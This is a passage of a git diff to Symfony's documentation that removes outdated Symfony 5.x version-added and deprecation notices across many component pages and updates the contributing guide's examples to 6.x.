 
     // breaks the string into lines of the given length
@@ -414,10 +394,6 @@ Methods to Join, Split, Truncate and Reverse
     u('foo bar')->reverse(); // 'rab oof'
     u('さよなら')->reverse(); // 'らなよさ'
 
-.. versionadded:: 5.1
-
-    The ``reverse()`` method was introduced in Symfony 5.1.
-
 Methods Added by ByteString
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -488,18 +464,6 @@ that only includes safe ASCII characters::
         return str_replace('❤️', 'love', $string);
     });
 
-.. versionadded:: 5.1
-
-    The feature to define additional substitutions was introduced in Symfony 5.1.
-
-.. versionadded:: 5.2
-
-    The feature to use a PHP closure to define substitutions was introduced in Symfony 5.2.
-
-.. versionadded:: 5.3
-
-    The feature to fallback to the parent locale's symbols map was introduced in Symfony 5.3.
-
 The separator between words is a dash (``-``) by default, but you can define
 another separator as the second argument::
 
@@ -544,10 +508,6 @@ the injected slugger is the same as the request locale::
 Inflector
 ---------
 
-.. versionadded:: 5.1
-
-    The inflector feature was introduced in Symfony 5.1.
-
 In some scenarios such as code generation and code introspection, you need to
 convert words from/to singular/plural. For example, to know the property
 associated with an *adder* method, you must convert from plural
diff --git a/components/uid.rst b/components/uid.rst
index d6b3692be45..8a5c9d8cd7a 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -8,10 +8,6 @@ The UID Component
     The UID component provides utilities to work with `unique identifiers`_ (UIDs)
     such as UUIDs and ULIDs.
 
-.. versionadded:: 5.1
-
-    The UID component was introduced in Symfony 5.1.
-
 Installation
 ------------
 
@@ -67,11 +63,6 @@ to create each type of UUID::
     // It's defined in http://gh.peabody.io/uuidv6/
     $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
 
-.. versionadded:: 5.3
-
-    The ``Uuid::NAMESPACE_*`` constants and the namespace string values (``'dns'``,
-    ``'url'``, etc.) were introduced in Symfony 5.3.
-
 If your UUID value is already generated in another format, use any of the
 following methods to create a ``Uuid`` object from it::
 
@@ -82,11 +73,6 @@ following methods to create a ``Uuid`` object from it::
     $uuid = Uuid::fromBase58('TuetYWNHhmuSQ3xPoVLv9M');
     $uuid = Uuid::fromRfc4122('d9e7a184-5d5b-11ea-a62a-3499710062d0');
 
-.. versionadded:: 5.3
-
-    The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
-    methods were introduced in Symfony 5.3.
-
 Converting UUIDs
 ~~~~~~~~~~~~~~~~
 
@@ -133,11 +119,6 @@ UUID objects created with the ``Uuid`` class can use the following methods
     //   * int < 0 if $uuid1 is less than $uuid4
     $uuid1->compare($uuid4); // e.g. int(4)
 
-.. versionadded:: 5.3
-
-    The ``getDateTime()`` method was introduced in Symfony 5.3. In previous
-    versions it was called ``getTime()``.
-
 Storing UUIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -162,10 +143,6 @@ type, which converts to/from UUID objects automatically::
         // ...
     }
 
-.. versionadded:: 5.2
-
-    The UUID type was introduced in Symfony 5.2.
-
 There is no generator to assign UUIDs automatically as the value of your entity
 primary keys, but you can use the following::
 
@@ -264,11 +241,6 @@ following methods to create a ``Ulid`` object from it::
     $ulid = Ulid::fromBase58('1BKocMc5BnrVcuq2ti4Eqm');
     $ulid = Ulid::fromRfc4122('0171069d-593d-97d3-8b3e-23d06de5b308');
 
-.. versionadded:: 5.3
-
-    The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
-    methods were introduced in Symfony 5.3.
-
 Converting ULIDs
 ~~~~~~~~~~~~~~~~
 
@@ -302,11 +274,6 @@ ULID objects created with the ``Ulid`` class can use the following methods::
     // this method returns $ulid1 <=> $ulid2
     $ulid1->compare($ulid2); // e.g. int(-1)
 
-.. versionadded:: 5.3
-
-    The ``getDateTime()`` method was introduced in Symfony 5.3. In previous
-    versions it was called ``getTime()``.
-
 Storing ULIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -361,10 +328,6 @@ entity primary keys::
 
     }
 
-.. versionadded:: 5.2
-
-    The ULID type and generator were introduced in Symfony 5.2.
-
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these ULID types to build the SQL query
 (e.g. ``->findOneBy(['user' => $user->getUlid()])``). However, when using DQL
@@ -397,10 +360,6 @@ of the ULID parameters::
 Generating and Inspecting UUIDs/ULIDs in the Console
 ----------------------------------------------------
 
-.. versionadded:: 5.3
-
-    The commands to inspect and generate UUIDs/ULIDs were introduced in Symfony 5.3.
-
 This component provides several commands to generate and inspect UUIDs/ULIDs in
 the console. They are not enabled by default, so you must add the following
 configuration in your application before using these commands:
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index b661bd7a44a..76a20c289be 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -191,10 +191,6 @@ Then you can use the following command to start a server out-of-the-box:
 Configuring the Dump Server with Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``VAR_DUMPER_FORMAT=server`` feature was introduced in Symfony 5.2.
-
 If you prefer to not modify the application configuration (e.g. to quickly debug
 a project given to you) use the ``VAR_DUMPER_FORMAT`` env var.
 
diff --git a/components/yaml/yaml_format.rst b/components/yaml/yaml_format.rst
index 0cca9901836..f38addb8281 100644
--- a/components/yaml/yaml_format.rst
+++ b/components/yaml/yaml_format.rst
@@ -124,12 +124,6 @@ Numbers
     # an octal
     0o14
 
-.. deprecated:: 5.1
-
-    In YAML 1.1, octal numbers use the notation ``0...``, whereas in YAML 1.2
-    the notation changes to ``0o...``. Symfony 5.1 added support for YAML 1.2
-    notation and deprecated support for YAML 1.1 notation.
-
 .. code-block:: yaml
 
     # an hexadecimal
diff --git a/configuration.rst b/configuration.rst
index 3a42a45680f..f44344fed89 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -919,11 +919,6 @@ parameters at once by type-hinting any of its constructor arguments with the
 Using PHP ConfigBuilders
 ------------------------
 
-.. versionadded:: 5.3
-
-    The "ConfigBuilders" feature was introduced in Symfony 5.3 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
-
 Writing PHP config is sometimes difficult because you end up with large nested
 arrays and you have no autocompletion help from your favorite IDE. A way to
 address this is to use "ConfigBuilders". They are objects that will help you
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index a12b63a7a3e..1895a01b7cc 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -151,11 +151,6 @@ Symfony provides the following env var processors:
             };
 
 ``env(not:FOO)``
-
-    .. versionadded:: 5.3
-
-        The ``not:`` env var processor was introduced in Symfony 5.3.
-
     Casts ``FOO`` to a bool (just as ``env(bool:...)`` does) except it returns the inverted value
     (falsy values are returned as ``true``, truthy values are returned as ``false``):
 
diff --git a/console.rst b/console.rst
index 80ae5fd7cd5..40793b89b09 100644
--- a/console.rst
+++ b/console.rst
@@ -64,15 +64,6 @@ want a command to create a user::
         }
     }
 
-.. versionadded:: 5.1
-
-    The ``Command::SUCCESS`` and ``Command::FAILURE`` constants were introduced
-    in Symfony 5.1.
-
-.. versionadded:: 5.3
-
-    The ``Command::INVALID`` constant was introduced in Symfony 5.3
-
 Configuring the Command
 -----------------------
 
@@ -397,15 +388,6 @@ console::
 If you are using a :doc:`single-command application </components/console/single_command_tool>`,
 call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``.
 
-.. versionadded:: 5.2
-
-    The ``setAutoExit()`` method for single-command applications was introduced
-    in Symfony 5.2.
-
-.. versionadded:: 5.4
-
-    The ``assertCommandIsSuccessful()`` method was introduced in Symfony 5.4.
-
 .. tip::
 
     You can also test a whole console application by using
diff --git a/console/coloring.rst b/console/coloring.rst
index 7e77a090b25..32d86087ebb 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -50,14 +50,6 @@ Any hex color is supported for foreground and background colors. Besides that, t
 ``gray``, ``bright-red``, ``bright-green``, ``bright-yellow``, ``bright-blue``,
 ``bright-magenta``, ``bright-cyan`` and ``bright-white``.
 
-.. versionadded:: 5.2
-
-    True (hex) color support was introduced in Symfony 5.2
-
-.. versionadded:: 5.3
-
-    Support for bright colors was introduced in Symfony 5.3.
-
 .. note::
 
     If the terminal doesn't support true colors, the nearest named color is used.
diff --git a/console/input.rst b/console/input.rst
index 3bbba7e5fce..fa0ae899c0e 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -221,10 +221,6 @@ There are five option variants you can use:
     Accept either the flag (e.g. ``--yell``) or its negation (e.g.
     ``--no-yell``).
 
-.. versionadded:: 5.3
-
-    The ``InputOption::VALUE_NEGATABLE`` constant was introduced in Symfony 5.3.
-
 You can combine ``VALUE_IS_ARRAY`` with ``VALUE_REQUIRED`` or
 ``VALUE_OPTIONAL`` like this::
 
diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index e3c26372cfe..02f635f5788 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -43,8 +43,4 @@ that adds two convenient methods to lock and release commands::
         }
     }
 
-.. versionadded:: 5.1
-
-    The ``Command::SUCCESS`` constant was introduced in Symfony 5.1.
-
 .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science)
diff --git a/console/style.rst b/console/style.rst
index c680e3703df..b4bf70e2820 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -342,10 +342,6 @@ Result Methods
             'Consectetur adipiscing elit',
         ]);
 
-.. versionadded:: 5.2
-
-    The ``info()`` method was introduced in Symfony 5.2.
-
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::warning`
     It displays the given string or array of strings highlighted as a warning
     message (with a red background and the ``[WARNING]`` label). It's meant to be
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 2c465096f0b..c2b6d16fba3 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -174,32 +174,32 @@ If you are documenting a brand new feature, a change or a deprecation that's
 been made in Symfony, you should precede your description of the change with
 the corresponding directive and a short description:
 
-For a new feature or a behavior change use the ``.. versionadded:: 5.x``
+For a new feature or a behavior change use the ``.. versionadded:: 6.x``
 directive:
 
 .. code-block:: rst
 
-    .. versionadded:: 5.2
+    .. versionadded:: 6.2
 
-        ... ... ... was introduced in Symfony 5.2.
+        ... ... ... was introduced in Symfony 6.2.
 
 If you are documenting a behavior change, it may be helpful to *briefly*
 describe how the behavior has changed:
 
 .. code-block:: rst
 
-    .. versionadded:: 5.2
+    .. versionadded:: 6.2
 
-       ... ... ... was introduced in Symfony 5.2. Prior to this,
+       ... ... ... was introduced in Symfony 6.2. Prior to this,
        ... ... ... ... ... ... ... ... .
 
-For a deprecation use the ``.. deprecated:: 5.x`` directive:
+For a deprecation use the ``.. deprecated:: 6.x`` directive:
 
 .. code-block:: rst
 
-    .. deprecated:: 5.2
+    .. deprecated:: 6.2
 
-        ... ... ... was deprecated in Symfony 5.2.
+        ... ... ... was deprecated in Symfony 6.2.
 
 Whenever a new major version of Symfony is released (e.g. 6.0, 7.0, etc),
 a new branch of the documentation is created from the ``master`` branch.
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 62d5c182c1e..065044a1b24 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -81,12 +81,6 @@ and what headers your reverse proxy uses to send information:
             ;
         };
 
-.. deprecated:: 5.2
-
-    In previous Symfony versions, the above example used ``HEADER_X_FORWARDED_ALL``
-    to trust all "X-Forwarded-" headers, but that constant is deprecated since
-    Symfony 5.2 in favor of the individual ``HEADER_X_FORWARDED_*`` constants.
-
 .. caution::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
@@ -97,13 +91,6 @@ The Request object has several ``Request::HEADER_*`` constants that control exac
 *which* headers from your reverse proxy are trusted. The argument is a bit field,
 so you can also pass your own value (e.g. ``0b00110``).
 
-.. versionadded:: 5.2
-
-    The feature to configure trusted proxies and headers with ``trusted_proxies``
-    and ``trusted_headers`` options was introduced in Symfony 5.2. In earlier
-    Symfony versions you needed to use the ``Request::setTrustedProxies()``
-    method in the ``public/index.php`` file.
-
 .. caution::
 
     The "trusted proxies" feature does not work as expected when using the
diff --git a/doctrine/events.rst b/doctrine/events.rst
index abe574a1867..f8029b3fe2b 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -524,10 +524,6 @@ can do it in the service configuration:
             ;
         };
 
-.. versionadded:: 5.3
-
-    Subscriber priority was introduced in Symfony 5.3.
-
 .. tip::
 
     Symfony loads (and instantiates) Doctrine subscribers whenever the
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 794a09bb83b..62880a973af 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -220,8 +220,6 @@ a "main" request or a "sub request"::
     {
         public function onKernelRequest(RequestEvent $event)
         {
-            // The isMainRequest() method was introduced in Symfony 5.3.
-            // In previous versions it was called isMasterRequest()
             if (!$event->isMainRequest()) {
                 // don't do anything if it's not the main request
                 return;
@@ -331,10 +329,6 @@ or can get everything which partial matches the event name:
     $ php bin/console debug:event-dispatcher kernel // matches "kernel.exception", "kernel.response" etc.
     $ php bin/console debug:event-dispatcher Security // matches "Symfony\Component\Security\Http\Event\CheckPassportEvent"
 
-.. versionadded:: 5.3
-
-    The ability to match partial event names was introduced in Symfony 5.3.
-
 The :doc:`new authenticator-based Security </security/authenticator_manager>`
 system adds an event dispatcher per firewall. Use the ``--dispatcher`` option to
 get the registered listeners for a particular event dispatcher:
@@ -343,10 +337,6 @@ get the registered listeners for a particular event dispatcher:
 
     $ php bin/console debug:event-dispatcher --dispatcher=security.event_dispatcher.main
 
-.. versionadded:: 5.3
-
-    The ``dispatcher`` option was introduced in Symfony 5.3.
-
 Learn more
 ----------
 
diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 599f49bcb47..7b758794d57 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -1,10 +1,6 @@
 Bootstrap 5 Form Theme
 ======================
 
-.. versionadded:: 5.3
-
-    The Bootstrap 5 Form Theme was introduced in Symfony 5.3.
-
 Symfony provides several ways of integrating Bootstrap into your application.
 The most straightforward way is to add the required ``<link>`` and ``<script>``
 elements in your templates (usually you only include them in the main layout
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index 24ff0716f5f..692b41e186b 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -224,10 +224,6 @@ If available, these options have priority over the property path accessor and
 the default data mapper will still use the :doc:`PropertyAccess component </components/property_access>`
 for the other form fields.
 
-.. versionadded:: 5.2
-
-    The ``getter`` and ``setter`` options were introduced in Symfony 5.2.
-
 .. caution::
 
     When a form has the ``inherit_data`` option set to ``true``, it does not use the data mapper and
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 570947c1972..329ef43d638 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -47,14 +47,6 @@ in a single Twig template and they are enabled in the
   element with the absolute minimum styles to make them usable. It is based on the
   `Tailwind CSS form plugin`_.
 
-.. versionadded:: 5.1
-
-    The ``foundation_6_layout.html.twig`` was introduced in Symfony 5.1.
-
-.. versionadded:: 5.3
-
-    The ``bootstrap_5_layout.html.twig``, ``bootstrap_5_horizontal_layout.html.twig`` and ``tailwind_2_layout.html.twig`` were introduced in Symfony 5.3.
-
 .. tip::
 
     Read the articles about :doc:`Bootstrap 4 Symfony form theme </form/bootstrap4>` and :doc:`Bootstrap 5 Symfony form theme </form/bootstrap5>`
@@ -348,10 +340,6 @@ You can also customize each entry of all collections with the following blocks:
     {% block collection_entry_help %} ... {% endblock %}
     {% block collection_entry_errors %} ... {% endblock %}
 
-.. versionadded:: 5.1
-
-    The ``collection_entry_*`` blocks were introduced in Symfony 5.1.
-
 Finally, you can customize specific form collections instead of all of them.
 For example, consider the following complex example where a ``TaskManagerType``
 has a collection of ``TaskListType`` which in turn has a collection of
diff --git a/forms.rst b/forms.rst
index 3814caa0646..7ec57604187 100644
--- a/forms.rst
+++ b/forms.rst
@@ -590,10 +590,6 @@ learn more about the validation constraints, please refer to the
 Form Validation Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``legacy_error_messages`` option was introduced in Symfony 5.2
-
 The form types have default error messages that are more clear and
 user-friendly than the ones provided by the validation constraints. To enable
 these new messages set the ``legacy_error_messages`` option to ``false``:
diff --git a/http_cache.rst b/http_cache.rst
index 35620d1cd76..69331165d8c 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -360,11 +360,6 @@ Additionally, most cache-related HTTP headers can be set via the single
         'etag'             => 'abcdef'
     ]);
 
-.. versionadded:: 5.1
-
-    The ``must_revalidate``, ``no_cache``, ``no_store``, ``no_transform`` and
-    ``proxy_revalidate`` directives were introduced in Symfony 5.1.
-
 Cache Invalidation
 ------------------
 
diff --git a/http_client.rst b/http_client.rst
index 97834a1041d..10c2df12c2c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -146,10 +146,6 @@ method to retrieve a new instance of the client with new default options::
         'headers' => ['header-name' => 'header-value']
     ]);
 
-.. versionadded:: 5.3
-
-    The ``withOptions()`` method was introduced in Symfony 5.3.
-
 Some options are described in this guide:
 
 * `Authentication`_
@@ -659,10 +655,6 @@ according to the ``multipart/form-data`` content-type. The
         $formData->getParts(); // Returns two instances of TextPart both
                                // with the name "array_field"
 
-    .. versionadded:: 5.2
-
-        The alternative array structure was introduced in Symfony 5.2.
-
 By default, HttpClient streams the body contents when uploading them. This might
 not work with all servers, resulting in HTTP status code 411 ("Length Required")
 because there is no ``Content-Length`` header. The solution is to turn the body
@@ -707,10 +699,6 @@ making a request. Use the ``max_redirects`` setting to configure this behavior
 Retry Failed Requests
 ~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The feature to retry failed HTTP requests was introduced in Symfony 5.2.
-
 Sometimes, requests fail because of network issues or temporary server errors.
 Symfony's HttpClient allows to retry failed requests automatically using the
 :ref:`retry_failed option <reference-http-client-retry-failed>`.
@@ -821,10 +809,6 @@ is installed and enabled. Otherwise, the native PHP streams will be used.
 Configuring CurlHttpClient Options
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The feature to configure extra cURL options was introduced in Symfony 5.2.
-
 PHP allows to configure lots of `cURL options`_ via the :phpfunction:`curl_setopt`
 function. In order to make the component more portable when not using cURL, the
 ``CurlHttpClient`` only uses some of those options (and they are ignored in the
@@ -859,12 +843,6 @@ following tools is installed:
 * The `libcurl`_ package version 7.36 or higher;
 * The `amphp/http-client`_ Packagist package version 4.2 or higher.
 
-.. versionadded:: 5.1
-
-    Integration with ``amphp/http-client`` was introduced in Symfony 5.1.
-    Prior to this version, HTTP/2 was only supported when ``libcurl`` was
-    installed.
-
 To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via the
 ``http_version`` option:
 
@@ -1257,10 +1235,6 @@ installed in your application::
 Consuming Server-Sent Events
 ----------------------------
 
-.. versionadded:: 5.2
-
-    The feature to consume server-sent events was introduced in Symfony 5.2.
-
 `Server-sent events`_ is an Internet standard used to push data to web pages.
 Its JavaScript API is built around an `EventSource`_ object, which listens to
 the events sent from some URL. The events are a stream of data (served with the
@@ -1566,10 +1540,6 @@ The solution is to also decorate the response object itself.
 :class:`Symfony\\Component\\HttpClient\\Response\\TraceableResponse` are good
 examples as a starting point.
 
-.. versionadded:: 5.2
-
-    ``AsyncDecoratorTrait`` was introduced in Symfony 5.2.
-
 In order to help writing more advanced response processors, the component provides
 an :class:`Symfony\\Component\\HttpClient\\AsyncDecoratorTrait`. This trait allows
 processing the stream of chunks as they come back from the network::
@@ -1691,10 +1661,6 @@ However, using ``MockResponse`` allows simulating chunked responses and timeouts
 
     $mockResponse = new MockResponse($body());
 
-.. versionadded:: 5.2
-
-    The feature explained below was introduced in Symfony 5.2.
-
 Finally, you can also create an invokable or iterable class that generates the
 responses and use it as a callback in functional tests::
 
diff --git a/logging/processors.rst b/logging/processors.rst
index 3c4faacda5f..317bf8898aa 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -178,10 +178,6 @@ Symfony's MonologBridge provides processors that can be registered inside your a
     Adds information about the user who is impersonating the logged in user,
     namely username, roles and whether the user is authenticated.
 
-    .. versionadded:: 5.2
-
-        The ``SwitchUserTokenProcessor`` was introduced in Symfony 5.2.
-
 :class:`Symfony\\Bridge\\Monolog\\Processor\\WebProcessor`
     Overrides data from the request using the data inside Symfony's request
     object.
diff --git a/mailer.rst b/mailer.rst
index eb293b0e815..15935e8e484 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -80,10 +80,6 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
 Using Built-in Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The native protocol was introduced in Symfony 5.2.
-
 ============  ========================================  ==============================================================
 DSN protocol  Example                                   Description
 ============  ========================================  ==============================================================
@@ -114,10 +110,6 @@ SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
 ==================  ==============================================
 
-.. versionadded:: 5.2
-
-    The Sendinblue integration was introduced in Symfony 5.2.
-
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
 use SendGrid. First, install it:
@@ -179,11 +171,6 @@ party provider:
     When using SMTP, the default timeout for sending a message before throwing an
     exception is the value defined in the `default_socket_timeout`_ PHP.ini option.
 
-    .. versionadded:: 5.1
-
-        The usage of ``default_socket_timeout`` as the default timeout was
-        introduced in Symfony 5.1.
-
 .. tip::
 
     If you want to override the default host for a provider (to debug an issue using
@@ -234,11 +221,6 @@ As with the failover transport, round-robin retries deliveries until
 a transport succeeds (or all fail). In contrast to the failover transport,
 it *spreads* the load across all its transports.
 
-.. versionadded:: 5.1
-
-    The random selection of the first transport was introduced in Symfony 5.1.
-    In previous Symfony versions the first transport was always selected first.
-
 TLS Peer Verification
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -249,10 +231,6 @@ the application or when using a self-signed certificate::
 
     $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0';
 
-.. versionadded:: 5.1
-
-    The ``verify_peer`` option was introduced in Symfony 5.1.
-
 Creating & Sending Messages
 ---------------------------
 
@@ -333,10 +311,6 @@ both strings or address objects::
     characters, except for the sender address (to avoid issues with bounced emails).
     For example: ``föóbàr@example.com``, ``用户@example.com``, ``θσερ@example.com``, etc.
 
-    .. versionadded:: 5.2
-
-        Support for UTF-8 characters in email addresses was introduced in Symfony 5.2.
-
 Use ``addTo()``, ``addCc()``, or ``addBcc()`` methods to add more addresses::
 
     $email = (new Email())
@@ -525,10 +499,6 @@ and headers.
             $mailer->header('X-Custom-Header')->value('foobar');
         };
 
-.. versionadded:: 5.2
-
-    The ``headers`` option was introduced in Symfony 5.2.
-
 Handling Sending Failures
 -------------------------
 
@@ -1004,10 +974,6 @@ key but not a certificate::
         ->toArray()
     );
 
-.. versionadded:: 5.2
-
-    The DKIM signer was introduced in Symfony 5.2.
-
 Encrypting Messages
 ~~~~~~~~~~~~~~~~~~~
 
@@ -1221,19 +1187,9 @@ disable asynchronous delivery.
                 ->messageBus('app.another_bus');
         };
 
-.. versionadded:: 5.1
-
-    The ``message_bus`` option was introduced in Symfony 5.1.
-
 Adding Tags and Metadata to Emails
 ----------------------------------
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\Mailer\\Header\\TagHeader` and
-    :class:`Symfony\\Component\\Mailer\\Header\\MetadataHeader` classes were
-    introduced in Symfony 5.1.
-
 Certain 3rd party transports support email *tags* and *metadata*, which can be used
 for grouping, tracking and workflows. You can add those by using the
 :class:`Symfony\\Component\\Mailer\\Header\\TagHeader` and
diff --git a/messenger.rst b/messenger.rst
index b3dba9e0ee3..ae1e02e0431 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -613,10 +613,6 @@ You can limit the worker to only process messages from specific queues:
 To allow using the ``queues`` option, the receiver must implement the
 :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\QueueReceiverInterface`.
 
-.. versionadded:: 5.3
-
-    Limiting the worker to specific queues was introduced in Symfony 5.3.
-
 .. _messenger-supervisor:
 
 Supervisor Configuration
@@ -759,10 +755,6 @@ this is configurable for each transport:
     Symfony triggers a :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`
     when a message is retried so you can run your own logic.
 
-    .. versionadded:: 5.2
-
-        The ``WorkerMessageRetriedEvent`` class was introduced in Symfony 5.2.
-
 Avoiding Retrying
 ~~~~~~~~~~~~~~~~~
 
@@ -774,10 +766,6 @@ the message will not be retried.
 Forcing Retrying
 ~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The ``RecoverableMessageHandlingException`` was introduced in Symfony 5.1.
-
 Sometimes handling a message must fail in a way that you *know* is temporary
 and must be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`,
@@ -871,10 +859,6 @@ to retry them:
     # remove messages without retrying them and show each message before removing it
     $ php bin/console messenger:failed:remove 20 30 --show-messages
 
-.. versionadded:: 5.1
-
-    The ``--show-messages`` option was introduced in Symfony 5.1.
-
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.
@@ -882,10 +866,6 @@ retry has been hit, the message will be discarded permanently.
 Multiple Failed Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.3
-
-    The possibility to use multiple failed transports was introduced in Symfony 5.3.
-
 Sometimes it is not enough to have a single, global ``failed transport`` configured
 because some messages are more important than others. In those cases, you can
 override the failure transport for only specific transports:
@@ -1052,16 +1032,11 @@ AMQP Transport
 ~~~~~~~~~~~~~~
 
 The AMQP transport uses the AMQP PHP extension to send messages to queues like
-RabbitMQ.
-
-.. versionadded:: 5.1
-
-    Starting from Symfony 5.1, the AMQP transport has moved to a separate package.
-    Install it by running:
+RabbitMQ. Install it by running:
 
-    .. code-block:: terminal
+.. code-block:: terminal
 
-        $ composer require symfony/amqp-messenger
+    $ composer require symfony/amqp-messenger
 
 The AMQP transport DSN may looks like this:
 
@@ -1073,10 +1048,6 @@ The AMQP transport DSN may looks like this:
     # or use the AMQPS protocol
     MESSENGER_TRANSPORT_DSN=amqps://guest:guest@localhost/%2f/messages
 
-.. versionadded:: 5.2
-
-    The AMQPS protocol support was introduced in Symfony 5.2.
-
 If you want to use TLS/SSL encrypted AMQP, you must also provide a CA certificate.
 Define the certificate path in the ``amqp.cacert`` PHP.ini setting
 (e.g. ``amqp.cacert = /etc/ssl/certs``) or in the ``cacert`` parameter of the
@@ -1093,8 +1064,8 @@ it in the ``port`` parameter of the DSN (e.g. ``amqps://localhost?cacert=/etc/ss
 
 .. note::
 
-    With Symfony 5.3 or newer, you can limit the consumer of an AMQP transport to only
-    process messages from some queues of an exchange. See :ref:`messenger-limit-queues`.
+    You can limit the consumer of an AMQP transport to only process messages
+    from some queues of an exchange. See :ref:`messenger-limit-queues`.
 
 The transport has a number of other options, including ways to configure
 the exchange, queues binding keys and more. See the documentation on
@@ -1161,15 +1132,6 @@ The transport has a number of options:
 ``exchange[type]``                            Type of exchange                                   ``fanout``
 ============================================  =================================================  ===================================
 
-.. versionadded:: 5.2
-
-    The ``confirm_timeout`` option was introduced in Symfony 5.2.
-
-.. deprecated:: 5.3
-
-    The ``prefetch_count`` option was deprecated in Symfony 5.3 because it has
-    no effect on the AMQP Messenger transport.
-
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::
@@ -1197,15 +1159,11 @@ Doctrine Transport
 ~~~~~~~~~~~~~~~~~~
 
 The Doctrine transport can be used to store messages in a database table.
+Install it by running:
 
-.. versionadded:: 5.1
-
-    Starting from Symfony 5.1, the Doctrine transport has moved to a separate package.
-    Install it by running:
-
-    .. code-block:: terminal
+.. code-block:: terminal
 
-        $ composer require symfony/doctrine-messenger
+    $ composer require symfony/doctrine-messenger
 
 The Doctrine transport DSN may looks like this:
 
@@ -1218,11 +1176,6 @@ The format is ``doctrine://<connection_name>``, in case you have multiple connec
 and want to use one other than the "default". The transport will automatically create
 a table named ``messenger_messages``.
 
-.. versionadded:: 5.1
-
-    The ability to automatically generate a migration for the ``messenger_messages``
-    table was introduced in Symfony 5.1 and DoctrineBundle 2.1.
-
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
@@ -1251,11 +1204,6 @@ auto_setup          Whether the table should be created
                     automatically during send / get.       true
 ==================  =====================================  ======================
 
-.. versionadded:: 5.1
-
-    The ability to leverage PostgreSQL's LISTEN/NOTIFY was introduced
-    in Symfony 5.1.
-
 When using PostgreSQL, you have access to the following options to leverage
 the `LISTEN/NOTIFY`_ feature. This allow for a more performant approach
 than the default polling behavior of the Doctrine transport because
@@ -1277,10 +1225,6 @@ get_notify_timeout       The length of time to wait for a            0
 Beanstalkd Transport
 ~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The Beanstalkd transport was introduced in Symfony 5.2.
-
 The Beanstalkd transport sends messages directly to a Beanstalkd work queue. Install
 it by running:
 
@@ -1319,16 +1263,12 @@ Redis Transport
 ~~~~~~~~~~~~~~~
 
 The Redis transport uses `streams`_ to queue messages. This transport requires
